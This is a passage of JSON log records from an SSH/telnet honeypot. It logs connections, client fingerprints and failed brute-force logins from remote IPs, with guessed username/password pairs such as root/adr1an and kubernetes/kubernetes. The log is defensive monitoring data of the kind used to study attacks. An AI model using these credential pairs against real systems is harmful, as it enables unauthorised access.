0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:20:38.184219Z","src_ip":"8.218.166.49","session":"9e90e6de38d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:20:44.192440Z","src_ip":"8.218.166.49","session":"9e90e6de38d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.7","message":"Connection lost after 12.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:20:45.543331Z","src_ip":"8.218.166.49","session":"9e90e6de38d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.147.206.14","src_port":10712,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e7910f194c5","protocol":"telnet","message":"New connection: 82.147.206.14:10712 (10.17.0.5:23) [session: 5e7910f194c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:20:56.880533Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.219","src_port":53698,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3fb4e22db91","protocol":"ssh","message":"New connection: 101.36.124.219:53698 (159.203.135.109:22) [session: f3fb4e22db91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:21:03.741888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:21:03.747190Z","src_ip":"101.36.124.219","session":"f3fb4e22db91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:21:03.962822Z","src_ip":"101.36.124.219","session":"f3fb4e22db91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:21:04.857747Z","src_ip":"101.36.124.219","session":"f3fb4e22db91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:21:06.077486Z","src_ip":"101.36.124.219","session":"f3fb4e22db91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":37576,"dst_ip":"10.17.0.5","dst_port":22,"session":"af26f2ba2191","protocol":"ssh","message":"New connection: 8.218.166.49:37576 (10.17.0.5:22) [session: af26f2ba2191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:21:13.102421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:21:13.626076Z","src_ip":"8.218.166.49","session":"af26f2ba2191","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:21:13.630019Z","src_ip":"8.218.166.49","session":"af26f2ba2191","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":36130,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6b287b766f9","protocol":"ssh","message":"New connection: 124.155.125.131:36130 (159.203.135.109:22) [session: e6b287b766f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:21:20.789599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:21:20.793929Z","src_ip":"124.155.125.131","session":"e6b287b766f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:21:20.970538Z","src_ip":"124.155.125.131","session":"e6b287b766f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adr1an","message":"login attempt [root/adr1an] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:21:21.697698Z","src_ip":"124.155.125.131","session":"e6b287b766f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:21:22.875791Z","src_ip":"124.155.125.131","session":"e6b287b766f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.113.47.155","src_port":58188,"dst_ip":"159.203.135.109","dst_port":22,"session":"22fc844d6781","protocol":"ssh","message":"New connection: 189.113.47.155:58188 (159.203.135.109:22) [session: 22fc844d6781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:21:24.301422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:21:24.305816Z","src_ip":"189.113.47.155","session":"22fc844d6781","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:21:24.421891Z","src_ip":"189.113.47.155","session":"22fc844d6781","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:21:24.917790Z","src_ip":"189.113.47.155","session":"22fc844d6781","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:21:26.039492Z","src_ip":"189.113.47.155","session":"22fc844d6781","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:21:27.748110Z","src_ip":"8.218.166.49","session":"af26f2ba2191","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.6","message":"Connection lost after 17.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:21:30.737101Z","src_ip":"8.218.166.49","session":"af26f2ba2191","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":46587,"dst_ip":"159.203.135.109","dst_port":22,"session":"64e57c329176","protocol":"ssh","message":"New connection: 88.147.30.59:46587 (159.203.135.109:22) [session: 64e57c329176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:21:35.178626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:21:35.183666Z","src_ip":"88.147.30.59","session":"64e57c329176","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:21:35.308408Z","src_ip":"88.147.30.59","session":"64e57c329176","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"walden","message":"login attempt [root/walden] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:21:35.823180Z","src_ip":"88.147.30.59","session":"64e57c329176","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:21:36.949283Z","src_ip":"88.147.30.59","session":"64e57c329176","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":57332,"dst_ip":"10.17.0.5","dst_port":22,"session":"63cae3202009","protocol":"ssh","message":"New connection: 8.218.166.49:57332 (10.17.0.5:22) [session: 63cae3202009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:21:45.156599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:21:45.161366Z","src_ip":"8.218.166.49","session":"63cae3202009","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:21:45.396003Z","src_ip":"8.218.166.49","session":"63cae3202009","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":50558,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ab19312974f","protocol":"ssh","message":"New connection: 8.218.166.49:50558 (10.17.0.5:22) [session: 7ab19312974f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:21:56.063179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:21:56.068103Z","src_ip":"8.218.166.49","session":"7ab19312974f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":50566,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebd5a4e26c4f","protocol":"ssh","message":"New connection: 8.218.166.49:50566 (10.17.0.5:22) [session: ebd5a4e26c4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:22:04.953531Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":46902,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3c1b0038726","protocol":"ssh","message":"New connection: 8.218.166.49:46902 (10.17.0.5:22) [session: e3c1b0038726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:22:09.277231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:22:10.728398Z","src_ip":"8.218.166.49","session":"e3c1b0038726","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:22:10.731693Z","src_ip":"8.218.166.49","session":"e3c1b0038726","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":43728,"dst_ip":"159.203.135.109","dst_port":22,"session":"003e03b9c38e","protocol":"ssh","message":"New connection: 194.59.206.2:43728 (159.203.135.109:22) [session: 003e03b9c38e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:22:16.686167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:22:16.690918Z","src_ip":"194.59.206.2","session":"003e03b9c38e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:22:16.777764Z","src_ip":"194.59.206.2","session":"003e03b9c38e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:22:16.869989Z","src_ip":"194.59.206.2","session":"003e03b9c38e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kubernetes","password":"kubernetes","message":"login attempt [kubernetes/kubernetes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:22:21.954782Z","src_ip":"8.218.166.49","session":"e3c1b0038726","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:22:24.624778Z","src_ip":"8.218.166.49","session":"e3c1b0038726","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.219","src_port":41476,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d4bc5e3f3a5","protocol":"ssh","message":"New connection: 101.36.124.219:41476 (159.203.135.109:22) [session: 2d4bc5e3f3a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:22:31.439460Z"}
